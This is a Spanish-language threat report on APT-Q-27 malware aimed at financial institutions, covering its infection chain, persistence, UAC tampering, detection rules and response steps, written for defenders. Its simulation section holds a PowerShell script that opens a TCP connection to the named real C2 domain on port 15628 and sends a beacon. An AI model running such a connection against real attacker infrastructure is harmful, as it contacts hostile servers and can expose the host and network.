SOC Prime Bias: Crítico

10 Feb 2026 16:46

Análisis de Malware Sospechoso Vinculado a APT-Q-27 Dirigido a Instituciones Financieras

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

La campaña presenta una cadena de infección de múltiples etapas que comienza con un enlace de phishing disfrazado de descarga de imagen, que en realidad entrega un .pif dropper. La carga inicial es un ejecutable .NET fuertemente ofuscado y firmado con un certificado legítimo que luego fue revocado, lo que le permitió pasar los controles basados en la reputación en las etapas iniciales. Tras la ejecución, prepara componentes dentro de un directorio diseñado para parecer un caché de Windows Update, luego transiciona a una ejecución solo en memoria para reducir evidencias en disco. El resultado final es una puerta trasera modular que da prioridad a la discreción y evasión, manteniendo el acceso a través de persistencia basada en servicios mientras intenta evitar las detecciones de firmas comunes.

Investigación

Los analistas de CyStack rastrearon la URL de entrega inicial a la infraestructura alojada en storage.googleapis.com y recuperaron artefactos preparados—updat.exe, crashreport.dll, y updat.log—de una carpeta oculta tipo caché. El dropper establece una persistencia básica mediante un valor de registro Run y posteriormente registra un servicio de Windows llamado Windows Eventn para retener la ejecución a largo plazo. La puerta trasera implementa verificaciones anti-análisis, intenta la elevación de privilegios y modifica configuraciones relacionadas con UAC para reducir las solicitudes del usuario. Se observó tráfico de comando y control sobre el puerto 15628, y los investigadores extrajeron indicadores listos para detección incluyendo nombres de archivos, rutas de registro, identificadores de servicios y cadenas de agente de usuario distintivas.

Mitigación

Aplique controles estrictos de descarga para bloquear archivos .pif y refuerce la validación del tipo de contenido para que los enlaces «imagen» no puedan entregar ejecutables de forma silenciosa. Fortalezca la aplicación de la firma de código validando el estado de revocación y las marcas de tiempo del certificado durante la ejecución. Manténgase atento a directorios de caché «similares a Windows Update» ocultos y alerte sobre adiciones inesperadas de claves Run o eventos sospechosos de creación de servicios. Bloquee configuraciones de políticas UAC y audite regularmente los cambios en claves políticas de registro relevantes.

Respuesta

Si se detecta actividad, aísle el punto final inmediatamente y recopile artefactos forenses (imagen de memoria, colmenas de registro y evidencia del sistema de archivos) antes de la remediación. Termine y elimine el servicio malicioso de Windows Eventn y escanee el entorno en busca de los indicadores recuperados—especialmente archivos ocultos intermedios, posible uso de mutex, y cualquier rastro de carga lateral de DLL. Restablezca credenciales potencialmente expuestas, revise la actividad de cuentas privilegiadas en busca de abuso y actualice las detecciones en EDR/SIEM con los IOC extraídos.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Node definitions action_phishing["<b>Acción</b> – <b>T1566.002 Phishing: Enlace Spearphishing</b><br/><b>Descripción</b>: El atacante envía una URL que aparenta apuntar a una imagen pero entrega un archivo .pif malicioso.<br/><b>Artefacto</b>: .pif malicioso entregado como enlace de imagen"] class action_phishing action action_user_exec["<b>Acción</b> – <b>T1204.002 Ejecución por Usuario: Archivo Malicioso</b><br/><b>Descripción</b>: La víctima hace clic en el enlace y ejecuta el archivo .pif.<br/><b>Artefacto</b>: .pif ejecutado"] class action_user_exec action malware_dropper["<b>Malware</b> – Dropper (firmado)<br/><b>Técnica</b>: T1553.002 Firma de Código<br/><b>Descripción</b>: El dropper y el DLL acompañante son firmados con un certificado válido para evadir verificaciones de reputación"] class malware_dropper malware tool_masq_filetype["<b>Herramienta</b> – Archivo .pif disfrazado<br/><b>Técnica</b>: T1036.008 Disfraz de Tipo de Archivo<br/><b>Descripción</b>: .pif renombrado con la extensión .jpg para aparentar ser una imagen"] class tool_masq_filetype tool tool_masq_location["<b>Herramienta</b> – Carpeta Falsa de Caché de Actualizaciones<br/><b>Técnica</b>: T1036.005 Coincidir Nombre o Ubicación de Recursos Legítimos<br/><b>Descripción</b>: Carga útil colocada en una carpeta oculta imitando la caché de Windows Update"] class tool_masq_location tool process_proxy["<b>Proceso</b> – Binario del sistema firmado<br/><b>Técnica</b>: T1218 Ejecución de Proxy de Binario de Sistema<br/><b>Descripción</b>: Binarios legítimos firmados lanzan el dropper sin alarmas"] class process_proxy process malware_obfusc["<b>Malware</b> – Dropper Ofuscado<br/><b>Técnica</b>: T1027.007 Resolución Dinámica de API<br/><b>Descripción</b>: Usa Base64 de múltiples capas y decodificación de cadenas en tiempo de ejecución para ocultar URLs y comandos"] class malware_obfusc malware tool_hide_dir["<b>Herramienta</b> – Directorio de preparación Oculto<br/><b>Técnica</b>: T1564.001 Archivos y Directorios Ocultos<br/><b>Descripción</b>: Directorio marcado como Oculto y NoContentIndexed"] class tool_hide_dir tool action_persistence["<b>Acción</b> – T1547.014 Persistencia de Configuración Activa<br/><b>Descripción</b>: Crea una clave de registro Run llamada SystemOptimizer para persistencia de inicio de sesión"] class action_persistence action malware_injection["<b>Malware</b> – DLL de Informe de Errores<br/><b>Técnica</b>: T1055.001 Inyección de DLL (carga lateral)<br/><b>Descripción</b>: updat.exe carga crashreport.dll malicioso por carga lateral"] class malware_injection malware process_appcert["<b>Proceso</b> – Carga de DLL AppCert<br/><b>Técnica</b>: T1546.009 DLLs AppCert<br/><b>Descripción</b>: La carga de crashreport.dll desde la ruta preparada activa código malicioso en un proceso legítimo"] class process_appcert process action_uac_bypass["<b>Acción</b> – T1548.002 Omitir Control de Cuentas de Usuario<br/><b>Descripción</b>: La puerta trasera modifica las claves de registro de UAC y reejecuta con privilegios elevados"] class action_uac_bypass action action_clear_logs["<b>Acción</b> – T1070.001 Limpieza de Registros de Eventos de Windows<br/><b>Descripción</b>: La puerta trasera elimina los registros de eventos de Windows para ocultar la actividad"] class action_clear_logs action %% Connections showing flow action_phishing –>|lleva a| action_user_exec action_user_exec –>|ejecuta| malware_dropper malware_dropper –>|usa| tool_masq_filetype malware_dropper –>|usa| tool_masq_location malware_dropper –>|lanzado por| process_proxy malware_dropper –>|contiene| malware_obfusc malware_obfusc –>|almacena en| tool_hide_dir tool_hide_dir –>|habilita| action_persistence action_persistence –>|crea| process_proxy malware_dropper –>|carga| malware_injection malware_injection –>|inyectado en| process_appcert process_appcert –>|activa| action_uac_bypass action_uac_bypass –>|borra| action_clear_logs %% Styling class action_phishing,action_user_exec,action_persistence,action_uac_bypass,action_clear_logs action class malware_dropper,malware_obfusc,malware_injection malware class tool_masq_filetype,tool_masq_location,tool_hide_dir tool class process_proxy,process_appcert process "

Flujo de Ataque

Detecciones

Intento de Desactivación del Escritorio Seguro (mediante evento_registro)

Equipo SOC Prime
09 Feb 2026

Puntos de Persistencia Posibles [ASEPs – Hive Software/NTUSER] (mediante evento_registro)

Equipo SOC Prime
09 Feb 2026

Intento de Desactivación de UAC (mediante evento_registro)

Equipo SOC Prime
09 Feb 2026

Extensión Inusual de Binario Ejecutable (mediante creación_de_proceso)

Equipo SOC Prime
09 Feb 2026

Desactivación del Administrador de Consentimientos (mediante evento_registro)

Equipo SOC Prime
09 Feb 2026

IOC (IPOrigen) a detectar: Análisis de Malware Sospechoso Vinculado a APT-Q-27 Objetivo Instituciones Financieras Parte 1

Reglas AI de SOC Prime
09 Feb 2026

IOC (HashMd5) a detectar: Análisis de Malware Sospechoso Vinculado a APT-Q-27 Objetivo Instituciones Financieras

Reglas AI de SOC Prime
09 Feb 2026

IOC (IPOrigen) a detectar: Análisis de Malware Sospechoso Vinculado a APT-Q-27 Objetivo Instituciones Financieras Parte 2

Reglas AI de SOC Prime
09 Feb 2026

IOC (IPDestino) a detectar: Análisis de Malware Sospechoso Vinculado a APT-Q-27 Objetivo Instituciones Financieras Parte 1

Reglas AI de SOC Prime
09 Feb 2026

IOC (IPDestino) a detectar: Análisis de Malware Sospechoso Vinculado a APT-Q-27 Objetivo Instituciones Financieras Parte 2

Reglas AI de SOC Prime
09 Feb 2026

Ejecución de Dropper Malicioso a través de Archivo .pif y Etapas de Cargador [Creación de Proceso de Windows]

Reglas AI de SOC Prime
09 Feb 2026

Detectar Comunicación C2 con wk.goldeyeuu.io y Puerto 15628 [Conexión de Red en Windows]

Reglas AI de SOC Prime
09 Feb 2026

Ejecución de Simulación

Prerequisito: La Verificación de Telemetría y Baseline Prevuelo debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Narrativa del Ataque y Comandos:
    Un atacante que ha ganado acceso inicial en el host de Windows desea establecer un túnel C2 encubierto con la infraestructura de APT‑Q‑27. Usando un backdoor personalizado en PowerShell, el operador resuelve el dominio codificado wk.goldeyeuu.io y abre una conexión TCP en el puerto 15628. El tráfico está permitido de salida por el firewall, y debido a que la conexión usa un puerto no estándar, se destaca en los registros del firewall. Luego, el atacante transmite comandos codificados por este canal (T1059) para ejecutar cargas adicionales.

    Paso a paso:

    1. Resuelva el dominio C2 para verificar que el DNS funcione.
    2. Abra un socket TCP en bruto hacia la IP resuelta en el puerto 15628.
    3. Envíe una carga útil simple de “ping” para confirmar la conectividad (simulando un beacon).
  • Script de Prueba de Regresión:

    # -----------------------------------------------------------------------------------------------------------------
    # Simula Comunicación C2 a wk.goldeyeuu.io en el puerto 15628
    # -----------------------------------------------------------------------------------------------------------------
    # Resuelve el dominio malicioso (se espera que devuelva una IP controlada por el Equipo Rojo)
    $c2Domain = "wk.goldeyeuu.io"
    try {
        $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) |
                 Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } |
                 Select-Object -First 1
    } catch {
        Write-Error "La resolución DNS falló para $c2Domain"
        exit 1
    }
    
    # Establecer una conexión TCP en el puerto no estándar 15628
    $c2Port = 15628
    $client = New-Object System.Net.Sockets.TcpClient
    try {
        $client.Connect($c2IP.IPAddressToString, $c2Port)
        Write-Host "Conectado a $c2Domain ($($c2IP.IPAddressToString)):`$c2Port"
    } catch {
        Write-Error "Falló la conexión a $c2Domain en el puerto $c2Port"
        exit 1
    }
    
    # Enviar una carga útil de beacon simple (ASCII “PING”) y cerrar la conexión
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::ASCII.GetBytes("PING")
    $stream.Write($payload, 0, $payload.Length)
    $stream.Flush()
    Write-Host "Carga útil de beacon enviada."
    
    # Limpieza
    $stream.Close()
    $client.Close()
    # -----------------------------------------------------------------------------------------------------------------
  • Comandos de Limpieza:

    # Asegúrese de que todas las conexiones TCP restantes estén cerradas (medida defensiva para el entorno de prueba)
    Get-NetTCPConnection -RemotePort 15628 -State Established |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }